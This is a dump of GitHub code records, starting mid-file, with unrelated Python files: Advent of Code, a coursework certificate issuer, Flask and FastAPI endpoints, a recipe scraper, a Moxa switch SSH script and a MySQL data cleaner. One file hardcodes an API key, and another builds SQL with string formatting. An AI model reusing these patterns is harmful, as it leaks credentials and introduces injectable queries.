monkeys_one[monkey[new % monkey[\"divisor\"] == 0]][\"items\"].append(new)\n monkey[\"items\"].remove(old)\n\nmonkeys_two = deepcopy(monkeys)\nfor _ in trange(20):\n for monkey in monkeys_two.values():\n monkey[\"inspections\"] += len(monkey[\"items\"])\n for old in monkey[\"items\"].copy():\n exec(monkey[\"op\"])\n monkeys_two[monkey[new % monkey[\"divisor\"] == 0]][\"items\"].append(new)\n monkey[\"items\"].remove(old)\n\n\nfor k, v in monkeys_one.items():\n print(\"Monkey\", k, \":\", v[\"inspections\"])\n\npart_one = prod(sorted([val[\"inspections\"] for val in monkeys_one.values()])[-2:])\nprint(part_one)\n","repo_name":"lbreede/advent-of-code","sub_path":"python/2022/day/11/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"29323323438","text":"#!/usr/bin/env python3\n\nimport argparse, codecs, hashlib, os, sys # do not use any other imports/libraries\nfrom pyasn1.codec.der import decoder, encoder\n\n# took 6 hours (please specify here how much time your solution required)\n\n# parse arguments\nparser = argparse.ArgumentParser(description='issue TLS server certificate based on CSR', add_help=False)\nparser.add_argument(\"CA_cert_file\", help=\"CA certificate (in PEM or DER form)\")\nparser.add_argument(\"CA_private_key_file\", help=\"CA private key (in PEM or DER form)\")\nparser.add_argument(\"csr_file\", help=\"CSR file (in PEM or DER form)\")\nparser.add_argument(\"output_cert_file\", help=\"File to store certificate (in PEM form)\")\nargs = parser.parse_args()\n\ndef nb(i, length=False):\n # converts integer to bytes\n b = b''\n if length==False:\n length = (i.bit_length()+7)//8\n for _ in range(length):\n b = bytes([i & 0xff]) + b\n i >>= 8\n return b\n\ndef bn(b):\n # converts bytes to integer\n i = 0\n for byte in b:\n i <<= 8\n i |= byte\n return i\n\n#==== ASN1 encoder start ====\ndef string_to_bytes(string):\n corresponding_integers = map(lambda x: ord(x), string)\n return bytes(corresponding_integers)\n\ndef asn1_len(bs):\n number_of_bytes = len(bs)\n if number_of_bytes == 0:\n return bytes([0])\n length_bytes = nb(number_of_bytes) #bytes encoding the number of value bytes\n if number_of_bytes > 127:\n #we want 1 as the most significant bit, and the rest of the bits as is\n first_byte = len(length_bytes) | 0b10000000 \n result = [first_byte]\n for b in length_bytes:\n result.append(b)\n return bytes(result)\n else:\n return bytes(length_bytes)\n\ndef asn1_boolean(bool):\n if bool:\n bool = bytes([0xff])\n else:\n bool = bytes([0x00])\n return bytes([0x01]) + asn1_len(bool) + bool\n\ndef asn1_null():\n return bytes([5,0]) \n\ndef asn1_integer(i):\n result = bytes([2]) #universal, primitive, tag 2 is 0b00000010 which is 2 in base 10\n value_bytes = bytes([0]) if i == 0 else nb(i)\n if (value_bytes[0] >> 7) == 1:\n value_bytes = bytes([0]) + value_bytes\n result += asn1_len(value_bytes)\n result += value_bytes\n return result\n \n\ndef asn1_bitstring(octets):\n result = bytes([3]) + asn1_len(octets + b'\\x00') + b'\\x00' + octets\n return result\n \ndef asn1_octetstring(octets):\n return bytes([4]) + asn1_len(octets) + octets\n\ndef get_7bit_integers_from_int(int_value):\n int_array = []\n while int_value > 0:\n int_array.insert(0,int_value & 0b1111111)\n int_value = int_value >> 7\n return int_array\n\ndef asn1_objectidentifier(oid):\n if oid == []:\n return bytes([6, 0])\n id_byte = bytes([6]) #universal, primitive, tag 6 is 0b000000110 which is 6 base 10\n first_element = oid[0] if len(oid) > 0 else 0\n second_element = oid[1] if len(oid) > 1 else 0\n first_value_byte = bytes([40*first_element + second_element])\n other_bytes = b''\n\n if len(oid) > 2:\n for i in range(2, len(oid)):\n int_array = get_7bit_integers_from_int(oid[i])\n for i in range(0,len(int_array)-1):\n int_array[i] = int_array[i] | 0b10000000 #each element except the last should have leftmost bit at 1 \n other_bytes = other_bytes + bytes(int_array)\n length_byte = asn1_len(first_value_byte + other_bytes)\n return id_byte + length_byte + first_value_byte + other_bytes\n \n\ndef asn1_sequence(der):\n return bytes([0b00110000]) + asn1_len(der) + der\n\ndef asn1_set(der):\n return bytes([0b00110001]) + asn1_len(der) + der\n\ndef asn1_printablestring(string):\n value_bytes = string_to_bytes(string)\n return bytes([0b00010011]) + asn1_len(value_bytes) + value_bytes\n\ndef asn1_utctime(time):\n value_bytes = string_to_bytes(time)\n return bytes([23]) + asn1_len(value_bytes) + value_bytes\n\ndef asn1_tag_explicit(der, tag):\n first_byte = bytes([0b10100000 | tag])\n length_bytes = asn1_len(der)\n return first_byte + length_bytes + der\n\ndef encode_digest_info(obj_id, digest):\n return asn1_sequence(asn1_sequence(asn1_objectidentifier(obj_id) + asn1_null()) + asn1_octetstring(digest))\n#==== ASN1 encoder end ====\n\ndef _encode_subject_public_key_info(obj_id, n, e):\n return asn1_sequence(\n asn1_sequence(asn1_objectidentifier(obj_id) + asn1_null()) +\n asn1_bitstring(\n asn1_sequence(\n asn1_integer(n) + asn1_integer(e)\n )\n )\n )\n\ndef _encode_algorithm_identifier():\n return asn1_sequence(\n asn1_objectidentifier([1,2,840,113549,1,1,11]) + asn1_null()\n )\n\ndef _encode_key_usage():\n return asn1_sequence(\n asn1_objectidentifier([2,5,29,15]) +\n asn1_boolean(True) +\n asn1_octetstring(\n asn1_bitstring(bytes([1 << 7]))\n )\n )\n\ndef _encode_extended_key_usage():\n return asn1_sequence(\n asn1_objectidentifier([2,5,29,37]) +\n asn1_boolean(True) +\n asn1_octetstring(\n asn1_sequence(\n asn1_objectidentifier([1,3,6,1,5,5,7,3,1])\n )\n )\n )\n\ndef _encode_basic_constraints():\n return asn1_sequence(\n asn1_objectidentifier([2,5,29,19]) +\n asn1_boolean(True) +\n asn1_octetstring(\n asn1_sequence(\n asn1_boolean(False)\n )\n )\n )\n\ndef _encode_validity():\n start = \"210324000000Z\"\n end = \"220324000000Z\"\n return asn1_sequence(\n asn1_utctime(start) + asn1_utctime(end)\n )\n\ndef _bitstring_to_int(bitstring):\n int_value = 0\n len_bitstring = len(bitstring)\n for bit_index in range(0,len(bitstring)):\n bit_value = 1 if bitstring[bit_index] == \"1\" else 0\n int_value += (bit_value << (len_bitstring-1-bit_index))\n return int_value\n\ndef _bitstring_to_bytes(bitstring):\n index = 0\n len_bitstring = len(bitstring)\n result = b''\n while index < len_bitstring:\n current_byte = bitstring[index:index+8]\n byte_int = _bitstring_to_int(current_byte)\n result = result + bytes([byte_int])\n index += 8\n return result\n\ndef pem_to_der(content):\n # converts PEM content (if it is PEM) to DER\n if content[:2] == b'--':\n content = content.replace(b\"-----BEGIN CERTIFICATE REQUEST-----\", b\"\")\n content = content.replace(b\"-----END CERTIFICATE REQUEST-----\", b\"\")\n content = content.replace(b\"-----BEGIN CERTIFICATE-----\", b\"\")\n content = content.replace(b\"-----END CERTIFICATE-----\", b\"\")\n content = content.replace(b\"-----BEGIN PUBLIC KEY-----\", b\"\")\n content = content.replace(b\"-----END PUBLIC KEY-----\", b\"\")\n content = content.replace(b\"-----BEGIN RSA PRIVATE KEY-----\", b\"\")\n content = content.replace(b\"-----END RSA PRIVATE KEY-----\", b\"\")\n content = codecs.decode(content, 'base64')\n return content\n\ndef get_privkey(filename):\n file_content = open(filename, 'rb').read()\n decoded_der = decoder.decode(pem_to_der(file_content))\n n = int(decoded_der[0][1])\n e = int(decoded_der[0][2])\n d = int(decoded_der[0][3])\n return n,e,d\n\ndef pkcsv15pad_sign(plaintext, n):\n padded_plaintext = b'\\x00\\x01'\n n_bytes = nb(n)\n padding_length = len(n_bytes) - len(plaintext) - 3 #3 is for the default padding bytes 0x0001 and 0x00\n if len(n_bytes) - len(plaintext) < 3:\n print('[+] Halt: plaintext must be at least 3 bytes smaller than modulus')\n exit(1)\n padding = b'\\xff' * padding_length\n return padded_plaintext + padding + b'\\x00' + plaintext\n\ndef digestinfo_der(m):\n sha256 = hashlib.sha256()\n index = 0\n bytes = m[index:index+512]\n while bytes:\n sha256.update(bytes)\n index+=512\n bytes = m[index:index+512]\n digest = sha256.digest()\n der = encode_digest_info([2,16,840,1,101,3,4,2,1], digest)\n return der\n\n\ndef sign(m, keyfile):\n digest_info = digestinfo_der(m)\n n, e, d = get_privkey(keyfile)\n padded = pkcsv15pad_sign(digest_info, n)\n padded_int = bn(padded)\n signature = pow(padded_int, d, n)\n modulus_byte_length = len(nb(n))\n signature_bytes = nb(signature, modulus_byte_length)\n return signature_bytes\n\n\ndef get_subject_cn(csr_der):\n entries = csr_der[0][0][1]\n for e in entries:\n if str(e[0][0]) == \"2.5.4.3\":\n return e[0][1] \n\ndef get_subjectPublicKeyInfo(csr_der):\n bitstring = csr_der[0][0][2][1]\n bytes_representation = _bitstring_to_bytes(str(bitstring))\n decoded = decoder.decode(bytes_representation)\n return int(decoded[0][0]),int(decoded[0][1])\n\ndef get_subjectName(cert_der):\n return encoder.encode(decoder.decode(cert_der)[0][0][5])\n\ndef issue_certificate(private_key_file, issuer, subject, pubkey):\n CERTIFICATE_HEADER = \"-----BEGIN CERTIFICATE-----\\n\"\n CERTIFICATE_FOOTER = \"-----END CERTIFICATE-----\\n\"\n\n n, e, d = get_privkey(private_key_file)\n version = asn1_tag_explicit(asn1_integer(2), 0)\n serial_number = asn1_integer(666)\n signature = _encode_algorithm_identifier()\n subject_public_key_info_der = _encode_subject_public_key_info([1,2,840,113549,1,1,1],n,e)\n extensions = asn1_tag_explicit(asn1_sequence(\n _encode_key_usage() +\n _encode_extended_key_usage() +\n _encode_basic_constraints() \n ), 3)\n tbs_certificate = asn1_sequence(\n version + \n serial_number + \n signature + \n issuer + \n _encode_validity() +\n subject +\n subject_public_key_info_der\n + extensions\n )\n tbs_certificate_signature = sign(tbs_certificate,private_key_file) \n signature_der = asn1_bitstring(tbs_certificate_signature)\n der = asn1_sequence(tbs_certificate + _encode_algorithm_identifier() + signature_der)\n open('test.cert.der', 'wb').write(der)\n base64_bytes = codecs.encode(der, 'base64')\n base64_message = base64_bytes.decode('ascii')\n pem = CERTIFICATE_HEADER + base64_message + CERTIFICATE_FOOTER\n return pem\n\n# obtain subject's CN from CSR\ncsr_der = decoder.decode(pem_to_der(open(args.csr_file, 'rb').read()))\nsubject_cn_text = get_subject_cn(csr_der)\n\nprint(\"[+] Issuing certificate for \\\"%s\\\"\" % (subject_cn_text))\n\n# obtain subjectPublicKeyInfo from CSR\npubkey = get_subjectPublicKeyInfo(csr_der)\n\n# construct subject name DN for end-entity's certificate\nsubject = asn1_sequence(asn1_set(asn1_sequence(asn1_objectidentifier([2,5,4,3]) + asn1_printablestring(subject_cn_text))))\n\n# get subject name DN from CA certificate\nCAcert = pem_to_der(open(args.CA_cert_file, 'rb').read())\nCAsubject = get_subjectName(CAcert)\n\n# issue certificate\ncert_pem = issue_certificate(args.CA_private_key_file, CAsubject, subject, pubkey)\nopen(args.output_cert_file, 'w').write(cert_pem)","repo_name":"La-Buse/applied_cryptography","sub_path":"07/issue_cert.py","file_name":"issue_cert.py","file_ext":"py","file_size_in_byte":10773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10063918855","text":"import wikipedia\nfrom flask import Flask, session\nfrom flask import request\nimport mysql.connector\nimport json\nimport requests\nimport goslate\n\napp = Flask(__name__)\n\n#API to get the first sentance of wikipedia articles, their titles and their links\n@app.route(\"/titleandarticle/term=/\")\ndef titleandarticle (term):\n results = []\n try:\n #search for term\n results = wikipedia.search(term)\n #check no disambiguation error will occur\n wikipedia.summary(term)\n except Exception as e:\n #if disabmbiguation error occurs take the error message\n results_disambiguation = str(e)\n #extract the disabmbiguations given in message and add these to results\n results_disambiguation = results_disambiguation.split(\"\\n\")\n results_disambiguation.pop()\n results_disambiguation.pop(0)\n results = results_disambiguation + results\n for i in range(len(results)-1):\n #remove unwanted disabmbiguation articles (list of disabmbiguations of word)\n if \"(disambiguation)\" in results[i]:\n results.pop(i)\n\n dict_list = []\n for result in results:\n try:\n #extract only one sentace\n article = wikipedia.summary(result, sentences = 1)\n link = \"https://en.wikipedia.org/wiki/\"+result.replace(\" \",\"_\")\n #add to list\n dict_list.append({\"title\" : result, \"text\" : article, \"link\" : link})\n except:\n #if error occurred, take the suggestion if available\n suggestion = wikipedia.suggest(result)\n if suggestion:\n article = wikipedia.summary(suggestion, sentences = 1)\n link = \"https://en.wikipedia.org/wiki/\"+suggestion.replace(\" \",\"_\")\n #add to list\n dict_list.append({\"title\" : result, \"text\" : article, \"link\" : link})\n\n return json.dumps(dict_list)\n\n#get definitions of term\n@app.route(\"/definitions/term=/\")\ndef definitions(term):\n #URL for wordnik API\n API_URL = \"http://api.wordnik.com:80/v4/word.json/\"+term.lower()+\"/definitions?limit=20&includeRelated=true&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5\"\n\n data = requests.get(API_URL)\n\n #convert to python list\n data_list = data.json()\n definitions_list = []\n #extract text from response\n for definition in data_list:\n definitions_list.append(definition[\"text\"])\n return json.dumps(definitions_list)\n\n#get translation of term, from one language to another\n@app.route(\"/translate/term=/langfrom=/langto=/\")\ndef translate(term, langfrom, langto):\n #use goslate API to get translation\n gs = goslate.Goslate()\n translation =(gs.translate(term, source_language = langfrom, target_language = langto))\n return translation\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5001)\n","repo_name":"ben-graves/F454-Web-App","sub_path":"apis/wikitest.py","file_name":"wikitest.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"3017149011","text":"from datetime import date\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.orm import Session\n\nfrom app.api.dependencies import get_db\nfrom app.crud import task, week, day, relationship_collectors\nfrom app.schemas import TaskSchema, TaskUpdate, TaskCreate, DaySchema, WeekSchema\nfrom app.services.dependencies_annotations import CurrentVerifiedUser\n\nrouter = APIRouter()\n\n\n@router.put(\"/{pk}\", response_model=TaskSchema)\nasync def update_task(\n pk: int,\n task_obj: TaskUpdate,\n owner: CurrentVerifiedUser,\n db: Session = Depends(get_db),\n):\n task_to_update = await task.get(db, pk=pk)\n if not task_to_update:\n raise HTTPException(status_code=404, detail=\"Task not found\")\n return await task.update(db=db, obj_in=task_obj, obj_db=task_to_update)\n\n\n@router.delete(\"/{pk}\", response_model=TaskSchema)\nasync def delete_task(\n pk: int,\n owner: CurrentVerifiedUser,\n db: Session = Depends(get_db),\n):\n deleted_task = await task.delete(db, pk=pk)\n if not deleted_task:\n raise HTTPException(status_code=404, detail=\"Instance not found\")\n return deleted_task\n\n\n@router.get(\"/{pk}\", response_model=TaskSchema)\nasync def get_task(\n pk: int,\n owner: CurrentVerifiedUser,\n db: Session = Depends(get_db),\n):\n task_obj = await task.get(db, pk=pk)\n if not task_obj:\n raise HTTPException(status_code=404, detail=\"Task not found\")\n return task_obj\n\n\n@router.post(\"/{day_pk}\", response_model=TaskSchema)\nasync def add_task(\n task_in: TaskCreate,\n day_pk: int,\n owner: CurrentVerifiedUser,\n db: Session = Depends(get_db),\n):\n day_obj = await day.get_day_with_owner(db, pk=day_pk, owner_id=owner.pk)\n if not day_obj:\n raise HTTPException(status_code=404, detail=\"Day not found\")\n return await task.create_task_with_day(db=db, day_id=day_pk, task_obj=task_in)\n\n\n@router.get(\"/day/{pk}\", response_model=DaySchema)\nasync def get_tasks_for_day(\n pk: int,\n owner: CurrentVerifiedUser,\n db: AsyncSession = Depends(get_db),\n):\n day_obj = await day.get_day_with_owner(db, pk=pk, owner_id=owner.pk)\n\n if not day_obj:\n raise HTTPException(status_code=404, detail=\"Day not found\")\n\n return day_obj\n\n\n@router.get(\"/week/{week_start}\", response_model=WeekSchema)\nasync def get_tasks_for_week(\n week_start: date,\n owner: CurrentVerifiedUser,\n db: AsyncSession = Depends(get_db),\n):\n current_week = await week.get_week_with_owner(db=db, start_day=week_start, owner_id=owner.pk)\n tasks = []\n if current_week.week_days:\n weekdays = current_week.week_days\n tasks = relationship_collectors.collect_tasks(weekdays)\n else:\n weekdays = await day.create_days_for_week(db, current_week.pk, week_start)\n return WeekSchema(start_day=current_week.start_day, week_days=weekdays, tasks=tasks)\n","repo_name":"Axeratos/TODOListApp","sub_path":"backend/app/api/api_routes/endpoints/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10529089751","text":"import random\nfrom functools import partial\nimport numpy as np\nimport torch\nimport math\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.utils.data.sampler import RandomSampler\nfrom torch.utils.data.dataloader import _InfiniteConstantSampler\n\nfrom data.build import build_dataset\nfrom data.collate import COLLATE_FN\nfrom utils import distributed as du\n\nimport webdataset as wds\n\n\ndef construct_loader(cfg, split):\n \"\"\"\n Constructs the data loader for the given dataset.\n Args:\n cfg (CfgNode): configs. Details can be found in\n slowfast/config/defaults.py\n split (str): the split of the data loader. Options include `train`,\n `val`, and `test`.\n \"\"\"\n collate_fn = None\n if split in [\"train\"]:\n dataset_name = cfg.TRAIN.DATASET\n batch_size = int(cfg.TRAIN.BATCH_SIZE / cfg.SOLVER.GRADIENT_ACCUMULATION_STEPS)\n batch_size = int(batch_size / du.get_world_size())\n drop_last = True\n length = int(cfg.TRAIN.DATASET_SIZE / du.get_world_size())\n nominal = int(length / batch_size)\n elif split in [\"val\"]:\n dataset_name = cfg.VAL.DATASET\n batch_size = int(cfg.TRAIN.BATCH_SIZE / du.get_world_size())\n drop_last = False\n length = int(cfg.VAL.DATASET_SIZE / du.get_world_size())\n nominal = int(length / batch_size)\n elif split in [\"test\"]:\n dataset_name = cfg.TEST.DATASET\n batch_size = int(cfg.TEST.BATCH_SIZE / du.get_world_size())\n drop_last = False\n length = math.ceil(cfg.TEST.DATASET_SIZE / du.get_world_size())\n nominal = math.ceil(length / batch_size)\n\n # Construct the dataset\n dataset = build_dataset(dataset_name, cfg, split)\n if dataset_name == \"KineticsSounds\":\n collate_fn = COLLATE_FN[\"kinetics\"]\n\n # Create a loader\n if cfg.DATA_LOADER.NUM_WORKERS > 0:\n loader = wds.MultiDataset(\n dataset,\n workers=cfg.DATA_LOADER.NUM_WORKERS,\n nominal=nominal,\n pin_memory=cfg.DATA_LOADER.PIN_MEMORY,\n )\n if split in [\"train\"]:\n loader = loader.shuffle(batch_size)\n loader = loader.batched(batch_size)\n else:\n loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=batch_size,\n num_workers=cfg.DATA_LOADER.NUM_WORKERS,\n pin_memory=cfg.DATA_LOADER.PIN_MEMORY,\n drop_last=drop_last,\n collate_fn=collate_fn,\n )\n\n return loader\n\n\ndef shuffle_dataset(loader, cur_epoch):\n \"\"\"\"\n Shuffles the data.\n Args:\n loader (loader): data loader to perform shuffle.\n cur_epoch (int): number of the current epoch.\n \"\"\"\n if not isinstance(loader, (wds.MultiDataset, )):\n assert isinstance(\n loader.sampler, (RandomSampler, DistributedSampler, _InfiniteConstantSampler)\n ), \"Sampler type '{}' not supported\".format(type(loader.sampler))\n # RandomSampler handles shuffling automatically\n if isinstance(loader.sampler, DistributedSampler):\n # DistributedSampler shuffles data based on epoch\n loader.sampler.set_epoch(cur_epoch)\n","repo_name":"sangho-vision/wds_example","sub_path":"data/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"41545263125","text":"import os\nimport requests\nimport pandas as pd\nfrom koketData import KoketData\nfrom bs4 import BeautifulSoup\nimport sys\nsys.setrecursionlimit(30000)\n\n\ndef parse_sitemap(sitemap_url):\n headers = {\n \"User-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\"}\n url_list = []\n soup = BeautifulSoup(requests.get(\n sitemap_url, headers=headers).text, 'lxml')\n for loc in soup.select('url > loc'):\n url = loc.text\n url_list.append(url)\n return url_list\n\n\ndef collect_recipes_list(url_list):\n recipe_dict_list = []\n for url in url_list:\n recipe_object = KoketData(url)\n recipe_object.extract()\n recipe_dict_list.append(recipe_object.recipe_dict)\n return recipe_dict_list\n\n\ndef collect_recipes():\n current_urls = parse_sitemap(\"https://www.koket.se/sitemap.xml\")\n if(len(current_urls) == 0):\n print(\"Sitemap could not be parsed\")\n return\n\n recipes = pd.read_csv(\"recipe_data_final.csv\")\n print(len(recipes))\n # Keep only recipes on the site currently\n recipes = recipes[recipes['url'].isin(current_urls)]\n print(len(recipes))\n recipes.to_csv(\"recipe_data_final.csv\", index=False)\n old_collected_urls = recipes['url'].tolist()\n new_urls = list(set(current_urls).difference(set(old_collected_urls)))\n print(f\"{len(new_urls)} new recipes\")\n chunksize = 20\n for ind in range(0, len(new_urls), chunksize):\n recipes_list = collect_recipes_list(new_urls[ind:ind + chunksize])\n\n pd.DataFrame(recipes_list, columns=recipes.columns).to_csv(\"recipe_data_final.csv\", index=False,\n header=not os.path.exists(\"recipe_data_final.csv\"), mode='a')\n print(f\"{ind+chunksize}\\\\{len(new_urls)}\")\n\n\nif __name__ == \"__main__\":\n collect_recipes()\n","repo_name":"JoachimNilsson/Recipe-Recommendation-App","sub_path":"collectRecipes.py","file_name":"collectRecipes.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"35561078474","text":"import time\nimport datetime\nimport paramiko as paramiko\nimport configparser\nimport keyring\nimport argparse\n\nCONFIGCOMMAND = \"conf t\"\nWRITECOMMAND = \"save\"\nTIMEOUTREGULARCOMMSNDSEC = 1\nTIMEOUTLONGCOMMANDSEC = 3\n\ndef domassconfig(PGFG, logfile, WriteToLog,timeout_intercmd):\n for confcmd in PGFG:\n chan.send(confcmd + '\\n')\n time.sleep(int(timeout_intercmd))\n ret = chan.recv(99999)\n rstr1 = ret.decode('utf-8')\n if DEBUG:\n print(rstr1)\n if WriteToLog == 1:\n logfile.write(rstr1)\n\n\nif __name__ == '__main__':\n WriteToLog = 0\n DEBUG = False\n parcer = argparse.ArgumentParser(description=\"MOXA EDS-510/518 relay on/off\")\n parcer.add_argument('-i', type=str, help=\"switch IP\", required=True)\n parcer.add_argument('-c', type=str, help=\"file with commands\", required=True)\n parcer.add_argument('-l', type=str, help=\"write log\")\n parcer.add_argument('-u', type=str, help=\"Username - if You want use other Username rather User in config file\")\n parcer.add_argument('-p', type=str, help=\"Password - if You want use other Username rather User in config file\")\n parcer.add_argument('-f', type=str, default=\"configmoxa.txt\", help=\"config - default 'moxaconfig.txt\")\n args = parcer.parse_args()\n\n now = datetime.datetime.now()\n\n cpsw = configparser.ConfigParser()\n\n cpcmd = configparser.ConfigParser()\n cpcmd.read(args.c)\n\n if args.u != None:\n if args.p == None:\n print(\"Please provide passowrd\")\n exit(1)\n USER = args.u\n PASSWORD = args.p\n else:\n configname = 'configmoxa.txt'\n cp = configparser.ConfigParser()\n cp.read(args.f)\n\n USER = cp.get('access', 'username')\n KEYCHAINNAME = cp.get('access', 'keychainname')\n\n # Читаем из Keyring OS пароль нашего пользователя\n PASSWORD = keyring.get_password(KEYCHAINNAME, USER)\n\n HOST = args.i\n logfileneme = None\n\n if args.l != None:\n WriteToLog = 1\n logfileneme = 'sessionlog.txt'\n logtofile = open(logfileneme, 'a')\n\n cmdparam = cpcmd.get('configcmd', 'ccmd')\n cmdstr = cpcmd.get('cmd', cmdparam)\n CONFCOMMAND = cmdstr.split('\\n')\n\n timeout_intercmd = cpcmd.get('timesettings', 'timeout')\n\n if DEBUG:\n print(CONFCOMMAND)\n\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n # apply command to each switch\n try:\n client.connect(HOST, username=USER, password=PASSWORD)\n if DEBUG:\n print(\"connected\")\n if WriteToLog == 1:\n logtofile.write((HOST + ' ' + 'connected' + '\\r\\n'))\n chan = client.invoke_shell()\n time.sleep(TIMEOUTREGULARCOMMSNDSEC)\n chan.send('term len 0\\n')\n time.sleep(TIMEOUTREGULARCOMMSNDSEC)\n\n output = chan.recv(99999)\n if DEBUG:\n print(output.decode('utf-8'))\n if WriteToLog == 1:\n logtofile.write(output.decode('utf-8'))\n\n chan.send(CONFIGCOMMAND + '\\n')\n time.sleep(TIMEOUTREGULARCOMMSNDSEC)\n ret = chan.recv(99999)\n\n if DEBUG:\n print(ret.decode('utf-8'))\n\n domassconfig(CONFCOMMAND, logfileneme, WriteToLog,timeout_intercmd)\n\n chan.send('exit\\n')\n time.sleep(TIMEOUTREGULARCOMMSNDSEC)\n chan.send(WRITECOMMAND + '\\n')\n time.sleep(TIMEOUTLONGCOMMANDSEC)\n ret = chan.recv(99999)\n\n if DEBUG:\n print(ret.decode('utf-8'))\n if WriteToLog == 1:\n logtofile.write(ret.decode('utf-8'))\n client.close()\n if WriteToLog == 1:\n logtofile.write((HOST + ' ' + 'disconnected' + '\\r\\n'))\n except Exception as e:\n print(e)\n if WriteToLog == 1:\n logtofile.write((HOST + ' ' + str(e) + '\\r\\n'))\nif WriteToLog == 1:\n logtofile.close()\n","repo_name":"OlegPowerC/moxarelaycontrol","sub_path":"relayonoff.py","file_name":"relayonoff.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"5542357038","text":"# -*- coding:utf-8 -*-\nimport pymysql\nimport re\n\ndef connection():\n conn = pymysql.connect(\n host='localhost',\n user='root',\n password='admin',\n db='circuit',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor\n )\n return conn\n\ndef get_job():\n conn = connection()\n cursor = conn.cursor()\n sql_str = 'SELECT * FROM `job_shanghai_clean` '\n cursor.execute(sql_str)\n results = cursor.fetchall()\n cursor.close()\n conn.close()\n return results\n\ndef update_data(job_id,main_mess,job_class):\n conn = connection()\n cursor = conn.cursor()\n sql = \"update `job_shanghai_clean_tiqu` set job_class = '{}',job_zhuanye='{}' where job_id ='{}'\".format(job_class , main_mess,job_id)\n print(sql)\n cursor.execute(sql)\n conn.commit()\n cursor.close()\n conn.close()\n\ndef find_chinese(file):\n pattern = re.compile(r'[^\\u4e00-\\u9fa5]')\n chinese = re.sub(pattern, '', file)\n # print(chinese)\n return chinese\n\ndef main():\n results = get_job()\n for rs in results:\n job_detail = str(rs['job_detail']).strip()\n job_id = str(rs['job_id'])\n detail_list = job_detail.split('\\n')\n l = len(detail_list)\n # job_class = re.findall('职能类别：(.+?)关键字',str(job_detail ))\n # print(detail_list)\n main_mess = ''\n job_class = ''\n class_check = False\n for i in range(l-1,0,-1):\n d = detail_list[i]\n if '职能类别' in d:\n job_class = d[5:]\n break\n d_2_list = re.split('[；，。 ]', job_detail)\n for d2 in d_2_list:\n if '专业' in d2:\n main_mess = main_mess + d2\n main_mess_str = find_chinese(main_mess)\n\n print(job_id,main_mess_str, job_class)\n try:\n update_data(job_id,main_mess_str,job_class)\n except Exception as e:\n continue\n # break\n\nif __name__ == '__main__':\n main()","repo_name":"SherryLee725/circuit_talent_needs","sub_path":"get_job_class.py","file_name":"get_job_class.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"29005182586","text":"#!/usr/bin/python3\n\n\ndef list_division(my_list_1, my_list_2, list_length):\n result = []\n for i in range(list_length):\n try:\n if i >= len(my_list_1) or i >= len(my_list_2):\n raise IndexError(\"Out of range\")\n\n value_1 = my_list_1[i]\n value_2 = my_list_2[i]\n\n if not (isinstance(value_1, (int, float))\n and isinstance(value_2, (int, float))):\n raise ValueError(\"wrong type\")\n\n if value_2 == 0:\n raise ZeroDivisionError(\"division by 0\")\n\n result.append(value_1 / value_2)\n except ZeroDivisionError:\n print(\"division by 0\")\n result.append(0)\n except ValueError:\n print(\"wrong type\")\n result.append(0)\n except IndexError:\n print(\"out of range\")\n result.append(0)\n finally:\n pass\n\n return result\n","repo_name":"EljonesA/alx-higher_level_programming","sub_path":"0x05-python-exceptions/4-list_division.py","file_name":"4-list_division.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"17607566556","text":"import unittest\n\nimport pymongo.errors\nimport pymongo.mongo_replica_set_client\nfrom nose.plugins.skip import SkipTest\nfrom tornado import iostream\nfrom tornado.testing import gen_test\n\nimport motor\nfrom test import host, port, MotorReplicaSetTestBase, assert_raises, MotorTest\n\n\nclass MotorReplicaSetTest(MotorReplicaSetTestBase):\n @gen_test\n def test_replica_set_client(self):\n cx = motor.MotorReplicaSetClient(\n '%s:%s' % (host, port), replicaSet=self.name, io_loop=self.io_loop)\n\n self.assertEqual(cx, (yield cx.open()))\n self.assertTrue(isinstance(\n cx.delegate._MongoReplicaSetClient__monitor,\n motor.MotorReplicaSetMonitor))\n\n self.assertEqual(\n self.io_loop,\n cx.delegate._MongoReplicaSetClient__monitor.io_loop)\n\n @gen_test\n def test_open_callback(self):\n cx = motor.MotorReplicaSetClient(\n '%s:%s' % (host, port), replicaSet=self.name, io_loop=self.io_loop)\n yield self.check_optional_callback(cx.open)\n cx.close()\n\n def test_io_loop(self):\n with assert_raises(TypeError):\n motor.MotorReplicaSetClient(\n '%s:%s' % (host, port), replicaSet=self.name, io_loop='foo')\n\n @gen_test\n def test_auto_reconnect_exception_when_read_preference_is_secondary(self):\n old_write = iostream.IOStream.write\n iostream.IOStream.write = lambda self, data: self.close()\n\n try:\n cursor = 